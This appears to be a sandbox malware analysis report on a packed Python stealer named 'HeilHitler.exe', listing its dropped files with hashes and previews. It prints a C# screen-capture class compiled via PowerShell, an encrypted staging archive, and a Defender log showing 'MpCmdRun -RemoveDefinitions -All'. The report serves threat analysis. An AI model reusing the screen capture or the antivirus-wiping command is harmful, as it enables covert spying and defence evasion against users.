SHA-512:	00142FAC1AF225F2C6888AB2FD5CB3004D4DE62DB0E471D42B88D31558DFFE9D7CFCE93292167B9AC9C44FC09689097265A3E79728EEE72E9C206C22BEAFBF6C
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^....mWy....{t.p.{=.k..w..v....o..ZNm..r.PD..@.`r...t0..D..M..B.(g!.%....D..c.7....Y..U..N.....s...s..w..o.s.....v...'.....J+....Y?X.....F.+.......3zm...k....{....r_....32....^ug7z.w...;+s.X....{M.,g..gx.7.(.]w......2....._.z.^x...g.....cl..=..+b...g.9..._#s.......^..ue./.<...s.~..=..1..~[7..[.0..[.2..).W....`.n.3../...nZ.s..q..+b.q.c..>?.M...\.c.....G..50.......l~T....?.S.....}...=....".m~.g+m.cc....a.w,q.)0....x..lz..K....u..\.my....Z..\W.....%.......aK....1w.5....3..r...T./.N..\|F.....5..y...U...]=.m.......=N...t.+.ek..8....jl.iWu[.WrN-..8.\..+......N....pY...z.ro%.X..r........[..<.....K...Me...^Z.../.m!..O...rb.w....../...w.8.....m'.}K?..n=...o...K..c........qe.....c/.....X.U..1..y[N.............g.Z>......cc..-..].<...c`n....e.`...OT6...2&..9.MG]Ti...Y.=.\..Ov.}....U.@l.....q.>l9.....^...vdYsD.;../.....C..6.Z.[.......s.*.y..\|.......\|

C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	4.154581034278981
Encrypted:	false
SSDEEP:	24:Jo4KMz04F03wykl4qk6oAuBGOUBrRmLW+7UCPa:Jo4hz0BAl4xBQ0XQCC
MD5:	C76055A0388B713A1EABE16130684DC3
SHA1:	EE11E84CF41D8A43340F7102E17660072906C402
SHA-256:	8A3CD008E86A3D835F55F8415F5FD264C6DACDF0B7286E6854EA3F5A363390E7
SHA-512:	22D2804491D90B03BB4B640CB5E2A37D57766C6D82CAF993770DCF2CF97D0F07493C870761F3ECEA15531BD434B780E13AE065A1606681B32A77DBF6906FB4E2
Malicious:	false
Preview:	.using System;..using System.Collections.Generic;..using System.Drawing;..using System.Windows.Forms;....public class Screenshot..{.. public static List<Bitmap> CaptureScreens().. {.. var results = new List<Bitmap>();.. var allScreens = Screen.AllScreens;.... foreach (Screen screen in allScreens).. {.. try.. {.. Rectangle bounds = screen.Bounds;.. using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)).. {.. using (Graphics graphics = Graphics.FromImage(bitmap)).. {.. graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size);.. }.... results.Add((Bitmap)bitmap.Clone());.. }.. }.. catch (Exception).. {.. // Handle any exceptions here.. }.. }.... return results;..

C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (604), with no line terminators
Category:	dropped
Size (bytes):	607
Entropy (8bit):	5.340254418082675
Encrypted:	false
SSDEEP:	12:p37Lvkmb6KOkqe1xBkrk+ikOfghqGWZEifghqb:V3ka6KOkqeFkOfAqXEifAqb
MD5:	7CA9DDB3D3C7020F95E262DE8E79785E
SHA1:	4B16123C35BE29B7BE9EABC49572467A5798738A
SHA-256:	9C9F2DDFECC5EC881DF3D3A43480FC5E37D2645204D171AC360AD1A2FF89FB8F
SHA-512:	762E705AA6D675D39C535CA58D3AEC2FC8B676E7896EE7B31D78C2D23240BA16FC4964043A5111B1453E2D10944CF689FCA03EE1306A9E4222550E206817E4A6
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.0.cs"

C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	3.156700678460479
Encrypted:	false
SSDEEP:	48:6n7oEAtf0KhzBU/cLf6mtJxN0cKpW1ul8a3Aq:xNz0xm5OV6K
MD5:	FF289E468B5FB0D83A09CEFD6EA405AA
SHA1:	A172FE689F0B3A742F2AFECDC072A8F7761E2609
SHA-256:	4FDF4A82816F4684A976C24ED1689D921449D691433305D55A80A7A10526D4C4
SHA-512:	900D395C6B18833C5237A7D0B853943AEEE7EEB891B04CB2AB270E250A18034CB05F0EA25E93109AD7977E253E1F416DFC65C2F26DC10D3F70E4D8FC30277A58
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....,7g...........!.................&... ...@....... ....................................@..................................%..K....@.......................`....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H.......<!...............................................................0..........s.....(...........8...........o.......(......(....s........(..........(......(....s....~......(....o........,...o........o....t....o........,...o.......&.....X.......i?k.......(....B.(j........9.Q...........{.........(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob...........G.........%3............................................

C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (708), with CRLF, CR line terminators
Category:	modified
Size (bytes):	1149
Entropy (8bit):	5.505653373118298
Encrypted:	false
SSDEEP:	24:KJfCDId3ka6KOkqeFkOfAqXEifAqaKax5DqBVKVrdFAMBJTH:uCDkka6NkqeFkyAqXEuAqaK2DcVKdBJj
MD5:	A0DBBBDECF659C828F682B5809C3591D
SHA1:	95C3E4646BD1647A2146143463C190C4741574D7
SHA-256:	2A58FC37B295DC0C72E7C67DA9ABAD9850EDC1C761ED4CD9CA5FF1A0FFB37B54
SHA-512:	F4473A7B8391A00AA879AF7C4D359A072FD5FE1CB8E5654246685AF01DA63ABFC4B91386531314AE67470418CD086D8122E0F79E05122633724AE102B6573619
Malicious:	false
Preview:	.C:\Users\user\AppData\Local\Temp\..........> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longe

C:\Users\user\AppData\Local\Temp\0qdpbrpq\CSC1A48FA887436480A8B41407A32798B3.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0898577234455193
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryOZ7ak7Ynqq1Z0PN5Dlq5J:+RI+ycuZhNQ7akSj0PNnqX
MD5:	7D99A02D00C1AFB7131A07A1D1FE79C7
SHA1:	64EB7C6A1194A65C26F30ACF4D2C1338D7C9DFB1
SHA-256:	4DAE0A5102300E958EB8755A76322CDFE301596B7161E2E181C24CA64DCC14E2
SHA-512:	6A498984E1A836E90CA3528FEBA46FCBB39FC75A902F6D3707EBADA0677CB6F0DC81789E6E55090E0E4D89BF911048D15E8EB54101EF29B044C4B05358F831EB
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...0.q.d.p.b.r.p.q...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...0.q.d.p.b.r.p.q...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\8KaTn.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe
File Type:	RAR archive data, v5
Category:	dropped
Size (bytes):	758302
Entropy (8bit):	7.999764092234822
Encrypted:	true
SSDEEP:	12288:JSAFpA7A/CZpHv1DShasJFhSKwY3nvcO+EQiu5bte71fEHXmduVxxVcUSx:JS+pA7AwpH9DWJFhSgUOnK7XmdkxTsx
MD5:	870330AE8987734048A5AADBEB4CDB0C
SHA1:	4F951A472D79A50A58F1A706241943EF43364FAE
SHA-256:	6B2A572C82C7C8C13B6F2CB8F09CB7E749A7307CCDB3C8638A5261F109441226
SHA-512:	0A8A16A99FA5A9AED89D5CCCA523CF72A67281CD65D85312CB6009DFBBC2D2789062F50601F26257FF29E61689F79BC54F7C3620ACFC5CA726C11C088E5EB384
Malicious:	true
Preview:	Rar!......B.!........../..43`~.r.>..VT..I+.......r....3J....&..e....71.$'4NYvy...`l6c....(........\..{.w ...<......\|...../.Z4.Q^].;v...U.@u?.p...R..X.-.t2.......f$3S.....:#.$.9.i..R......dF....=(......V....yb.b...0..F,g.-...y.Sa #.R&.].F6.s..}....5.).G....9..W.\|.L.D.........7....b..e.&V..wK...x.(.L-d...g.L9M..v...`4M4.bB.....,.....>.!.....E!.#.D..J. [.PC.\|.{o\|1...{G.y...s..p.I.F....d..x...n.89.p.;...i$%..m}Wy.>...'/F.....K..n.x.0.\D.S...u....z.d.}:.:..,......^.....(=W.So/`.p....\|[..g...{A..4.?G.$..!...:8+].....O.U-...B[6B...$\d....Zse....../=.PY..}?.....jw.\|.4.n(...I..7Q.G%.x....P..a...u.4...S....n..J.]!...5.Z.S..E.lt...sk./:..~....L.c..4<<U.-X...^...=..#.`.\|,Y..._ ........u....w]...O.V5..h..cs..lNLG.N.....i.w...T...C.l~^..aW..n...8W3.I1.j.'...6R(}.."...........K.&H.D2..f.\..wUdB../g..MT...V......!W.R....6...`E.F..(........"Y,.:.H...-..k.....t..%.].`.XM..0.......U...x0y.,1=.......c' M.Z.....0~..3:.w.....m!.'..u..[......}qx...[.ez

C:\Users\user\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	894
Entropy (8bit):	3.1139899757233978
Encrypted:	false
SSDEEP:	12:Q58KRBubdpkoPAGdjrG9sk9+MlWlLehW51ICV91:QOaqdmOFdjriv+kWResLI61
MD5:	9089C23EC6046B7BF3E3CEAC33C592C4
SHA1:	669E3FEA2A65BBC121A61876C71F319A58E72AE6
SHA-256:	8F89247527D24B06545863AB76F94461428C389C7B374FF543BB8D321529D87F
SHA-512:	BAC5E942E2156ECA428410A39DFC157F29B92CAA2ED8E8412D345ADA268DAE0FB08EECE34DE61C63966480A424F17316D1DBFC09CB1B6668F44D8B65B3907EAA
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.M.p.C.m.d.R.u.n...e.x.e.". . .-.R.e.m.o.v.e.D.e.f.i.n.i.t.i.o.n.s. .-.A.l.l..... .S.t.a.r.t. .T.i.m.e.:. .. F.r.i. .. N.o.v. .. 1.5. .. 2.0.2.4. .0.4.:.4.4.:.1.8.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....S.t.a.r.t.:. .M.p.R.e.m.o.v.e.D.e.f.i.n.i.t.i.o.n.s.(.1.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. F.r.i. .. N.o.v. .. 1.5. .. 2.0.2.4. .0.4.:.4.4.:.1.8.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....

C:\Users\user\AppData\Local\Temp\RES4D0C.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x4b6, 9 symbols, created Fri Nov 15 11:10:02 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1372
Entropy (8bit):	4.105486008940973
Encrypted:	false
SSDEEP:	24:HjCFq9UZfPbUDfHkwKefC3XNII+ycuZhNQ7akSj0PNnqS+d:2vBPbSLKCCnu1ul8a3AqSe
MD5:	6639F1A7631B456AC13EA9107FE6444C
SHA1:	D4CDF453E46CA9CB9BBE0E4975877C98DF9CAB9C
SHA-256:	06CCC7A6AD3B53230FBB5179B8916C24A12F6AB577BF8D362C775AD2AC79876A
SHA-512:	4585046CA97D6801BB8CA31E95168A6BAD99488E7615E32F6CB6FA931C6267A7CC4A9D68B15AFD9127C343CBA1F71FDF0B7549CC2B69A97D99137AF5C8F5E898
Malicious:	false
Preview:	L....,7g.............debug$S........x...................@..B.rsrc$01........X.......\...........@..@.rsrc$02........P...f...............@..@........S....c:\Users\user\AppData\Local\Temp\0qdpbrpq\CSC1A48FA887436480A8B41407A32798B3.TMP................}..-..........y...........4.......C:\Users\user\AppData\Local\Temp\RES4D0C.tmp.-.<....................a..Microsoft (R) CVTRES...=..cwd.C:\Users\user\AppData\Local\Temp\...........exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...0.q.d.p.b.r.p.q...d.l.l.....(.....L.e.g.a.

C:\Users\user\AppData\Local\Temp\_MEI74322\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\Desktop\HeilHitler.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	109392
Entropy (8bit):	6.643764685776923
Encrypted:	false
SSDEEP:	1536:DcghbEGyzXJZDWnEzWG9q4lVOiVgXjO5/Auecbq8qZU34zW/K0zD:DV3iC0h9q4v6XjKAuecbq8qGISb/
MD5:	870FEA4E961E2FBD00110D3783E529BE
SHA1:	A948E65C6F73D7DA4FFDE4E8533C098A00CC7311
SHA-256:	76FDB83FDE238226B5BEBAF3392EE562E2CB7CA8D3EF75983BF5F9D6C7119644
SHA-512:	0B636A3CDEFA343EB4CB228B391BB657B5B4C20DF62889CD1BE44C7BEE94FFAD6EC82DC4DB79949EDEF576BFF57867E0D084E0A597BF7BF5C8E4ED1268477E88
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: meN9qeS2DE.exe, Detection: malicious, Browse Filename: client1.exe, Detection: malicious, Browse Filename: qbE2mhhzCq.exe, Detection: malicious, Browse Filename: UwOcZADSmi.exe, Detection: malicious, Browse Filename: IyWKJMlCXg.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Python.Stealer.1545.20368.28754.exe, Detection: malicious, Browse Filename: JdHvcxG4Up.exe, Detection: malicious, Browse Filename: souFnS89FP.exe, Detection: malicious, Browse Filename: Bootstrapper V1.19.exe, Detection: malicious, Browse Filename: enigma.tech.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........u...u...u.E.t...u.....u...t...u..v...u..q...u..p...u..u...u......u..w...u.Rich..u.........PE..d.....y..........." ...".....`.......................................................5....`A........................................`C..4....K...............p.......\..PO...........-..p............................,..@............................................text............................... ..`.rdata...A.......B..................@..@.data...0....`.......D..............@....pdata.......p.......H..............@..@_RDATA..\............T..............@..@.rsrc................V..............@..@.reloc...............Z..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI74322\_bz2.pyd

Download File

Process:	C:\Users\user\Desktop\HeilHitler.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	47992
Entropy (8bit):	7.809914406923306
Encrypted:	false
SSDEEP:	768:RiQxyc/3D2HGItfsKbsonbgiHUoYbcp87I7tVbeiYiSyv5PxWEDX:R5xdEsKbtnbgqUoYb7I7tVbh7SyxPx9
MD5:	93FE6D3A67B46370565DB12A9969D776
SHA1:	FF520DF8C24ED8AA6567DD0141EF65C4EA00903B
SHA-256:	92EC61CA9AC5742E0848A6BBB9B6B4CDA8E039E12AB0F17FB9342D082DDE471B
SHA-512:	5C91B56198A8295086C61B4F4E9F16900A7EC43CA4B84E793BC8A3FC8676048CAB576E936515BF2971318C7847F1314674B3336FE83B1734F9F70D09615519AC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................a.........................................t.........................................Rich....................PE..d...2..c.........." ..."............pd....................................................`.............................................H.................... .. ..................................................pp..@...........................................UPX0....................................UPX1................................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI74322\_ctypes.pyd

Download File

Process:	C:\Users\user\Desktop\HeilHitler.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	58232
Entropy (8bit):	7.819692209624967
Encrypted:	false
SSDEEP:	1536:/UP3/jolpinLX2rRaWMzhBuW9I7QP7h7SykPxiM:I3/jolwXuRaW6wUI7QP7h2xB
MD5:	813FC3981CAE89A4F93BF7336D3DC5EF
SHA1:	DAFF28BCD155A84E55D2603BE07CA57E3934A0DE
SHA-256:	4AC7FB7B354069E71EBF7FCC193C0F99AF559010A0AD82A03B49A92DEB0F4D06
SHA-512:	CE93F21B315D96FDE96517A7E13F66AA840D4AD1C6E69E68389E235E43581AD543095582EBCB9D2C6DDA11C17851B88F5B1ED1D59D354578FE27E7299BBEA1CC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......NC..."..."..."...Z..."..E^..."..E^..."..E^..."..E^..."...^..."...P..."...P..."...K..."..."..."...^..."...^..."...^x.."...^..."..Rich."..........................PE..d.../..c.........." ...".........p..P........................................@............`.........................................H<.......9.......0..........,............<......................................`%..@...........................................UPX0.....p..............................UPX1................................@....rsrc........0......................@..............................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI74322\_decimal.pyd

Download File

Process:	C:\Users\user\Desktop\HeilHitler.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	106368
Entropy (8bit):	7.93479712134
Encrypted:	false
SSDEEP:	3072:ugCMV2Mz94bMgxECS8kePpTn8jI75qNp6mx:u1MV2Mz94og2tJePpwpp
MD5:	F65D2FED5417FEB5FA8C48F106E6CAF7
SHA1:	9260B1535BB811183C9789C23DDD684A9425FFAA
SHA-256:	574FE8E01054A5BA07950E41F37E9CF0AEA753F20FE1A31F58E19202D1F641D8
SHA-512:	030502FA4895E0D82C8CCE00E78831FC3B2E6D956C8CC3B9FB5E50CB23EF07CD6942949A9F16D02DA6908523D9D4EF5F722FB1336D4A80CD944C9F0CB11239AB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\|RTy..Ty..Ty..]...Zy......Vy......Yy......\y......Py......Wy......Vy..Ty...y......Uy......[y......Uy......Uy......Uy..RichTy..........PE..d...)..c.........." ...".p................................................... ............`.............................................P........................'......................................................@...........................................UPX0....................................UPX1.....p.......d..................@....rsrc................h..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI74322\_hashlib.pyd

Download File

Process:	C:\Users\user\Desktop\HeilHitler.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	34176
Entropy (8bit):	7.670946753848895
Encrypted:	false
SSDEEP:	768:aq3dM1TMhvg8KNML5TOuzSsI/LpazI75ImyYiSyvfPxWEabVV/:aEdM1TMho8iMLPmv/AzI75Imy7SyXPxA
MD5:	4AE75C47DBDEBAA16A596F31B27ABD9E
SHA1:	A11F963139C715921DEDD24BC957AB6D14788C34
SHA-256:	2308EE238CC849B1110018B211B149D607BF447F4E4C1E61449049EAB0CF513D
SHA-512:	E908FECB52268FAC71933E2FDB96E539BDEBE4675DFB50065AEE26727BAC53E07CCA862193BCB3AB72D2AE62D660113A47E73E1E16DB401480E4D3FD34D54FA8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_.A.>...>...>...F2..>...B...>...B...>...B...>...B...>..iB...>...L...>...D...>...>..Q>..iB...>..iB...>..iB^..>..iB...>..Rich.>..........................PE..d.../..c.........." ...".P..........p........................................@............`..........................................;..P....9.......0.......................;......................................p*..@...........................................UPX0....................................UPX1.....P.......L..................@....rsrc........0.......P..............@......................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI74322\_lzma.pyd

Download File

Process:	C:\Users\user\Desktop\HeilHitler.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	86392
Entropy (8bit):	7.91766123352546
Encrypted:	false
SSDEEP:	1536:EfKvmqFMCNL6eKmtYs76LBlBqLBxcZiV6IHxdc/k4Nc+VI7e1gf7SyJPxs:4qdLCOz76LBl4VxYcdc/11I7e1gfvxs
MD5:	6F810F46F308F7C6CCDDCA45D8F50039
SHA1:	6EE24FF6D1C95BA67E1275BB82B9D539A7F56CEA
SHA-256:	39497259B87038E86C53E7A39A0B5BBBFCEBE00B2F045A148041300B31F33B76
SHA-512:	C692367A26415016E05EBE828309D3FFEC290C6D2FD8CC7419D529A51B0BEDA00CCDC327C9F187AE3CA0CC96336D23D84A8FF95B729C8958B14FB91B6DA9E878
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b.J[&.$.&.$.&.$./..".$.i.%.$.$.i.!.*.$.i. ...$.i.'.%.$...%.%.$...%.$.$.&.%.C.$...)...$...$.'.$.....'.$...&.'.$.Rich&.$.........PE..d...B..c.........." ...". ................................................................`.........................................4...L....................P..........................................................@...........................................UPX0....................................UPX1..... ..........................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI74322\_queue.pyd

Download File

Process:	C:\Users\user\Desktop\HeilHitler.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	24960
Entropy (8bit):	7.447047314489284
Encrypted:	false
SSDEEP:	768:BSxw19p9opxfI77U2bYiSyvlfUvPxWEl:Bj1HgfI77U2b7SyOvPx
MD5:	0E7612FC1A1FAD5A829D4E25CFA87C4F
SHA1:	3DB2D6274CE3DBE3DBB00D799963DF8C3046A1D6
SHA-256:	9F6965EB89BBF60DF0C51EF0750BBD0655675110D6C42ECA0274D109BD9F18A8
SHA-512:	52C57996385B9A573E3105EFA09FD6FD24561589B032EF2B2EE60A717F4B33713C35989F2265669F980646D673E3C387B30B9FC98033BB8CA7C59ECE1C17E517
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........._ZF.1.F.1.F.1.O..D.1...0.D.1...4.J.1...5.N.1...2.E.1...0.E.1...0.D.1.F.0...1...<.G.1...1.G.1.....G.1...3.G.1.RichF.1.........PE..d...&..c.........." ...".0..........`.....................................................`.............................................L.......P............`..............<.......................................`...@...........................................UPX0....................................UPX1.....0.......(..................@....rsrc................,..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI74322\_socket.pyd

Download File

Process:	C:\Users\user\Desktop\HeilHitler.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	42880
Entropy (8bit):	7.696654190779553
Encrypted:	false
SSDEEP:	768:oL7Syo5lzOt+ufVwPVXahccu0D+gFiPnmJqpE2SI7QwbmGYiSyvb9ZPxWEl:IkbzcKNGu0yXwN2SI7QwbmG7Syj/Px
MD5:	7A31BC84C0385590E5A01C4CBE3865C3
SHA1:	77C4121ABE6E134660575D9015308E4B76C69D7C
SHA-256:	5614017765322B81CC57D841B3A63CBDC88678FF605E5D4C8FDBBF8F0AC00F36
SHA-512:	B80CD51E395A3CE6F345B69243D8FC6C46E2E3828BD0A7E63673A508D889A9905D562CAC29F1ED394CCFCDA72F2F2E22F675963DD96261C19683B06DEA0A0882
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Z..{4..{4..{4......{4...5..{4...1..{4...0..{4...7..{4.U.5..{4..{5.\{4.9.5..{4.U.9..{4.U.4..{4.U....{4.U.6..{4.Rich.{4.........................PE..d...0..c.........." ...".p..........0m....................................................`.............................................P.......h............ ..l...........X.......................................@y..@...........................................UPX0....................................UPX1.....p.......l..................@....rsrc................p..............@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI74322\_sqlite3.pyd

Download File

Process:	C:\Users\user\Desktop\HeilHitler.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	50048
Entropy (8bit):	7.761194500415829
Encrypted:	false
SSDEEP:	1536:c8Mdv1OCWk0z+q3QCjbouWxI75Qr27SyDPx:vQO00zrrvbQI75Qr2Nx
MD5:	BB4AA2D11444900C549E201EB1A4CDD6
SHA1:	CA3BB6FC64D66DEADDD804038EA98002D254C50E
SHA-256:	F44D80AB16C27CA65DA23AE5FDA17EB842065F3E956F10126322B2EA3ECDF43F
SHA-512:	CD3C5704E5D99980109FDC505D39AD5B26A951685E9D8E3FED9E0848CD44E24CC4611669DBDB58ACC20F1F4A5C37D5E01D9D965CF6FE74F94DA1B29AA2FF6931
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......8..\|...\|...\|...u...z...3...~...3.~.}...3...q...3...t...3..........y.......~...\|..........u......}....\|.}......}...Rich\|...........PE..d...[..c.........." ...".........@..0....P................................................`.............................................P.......4............`..............(.......................................0...@...........................................UPX0.....@..............................UPX1.........P......................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI74322\_ssl.pyd

Download File

Process:	C:\Users\user\Desktop\HeilHitler.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
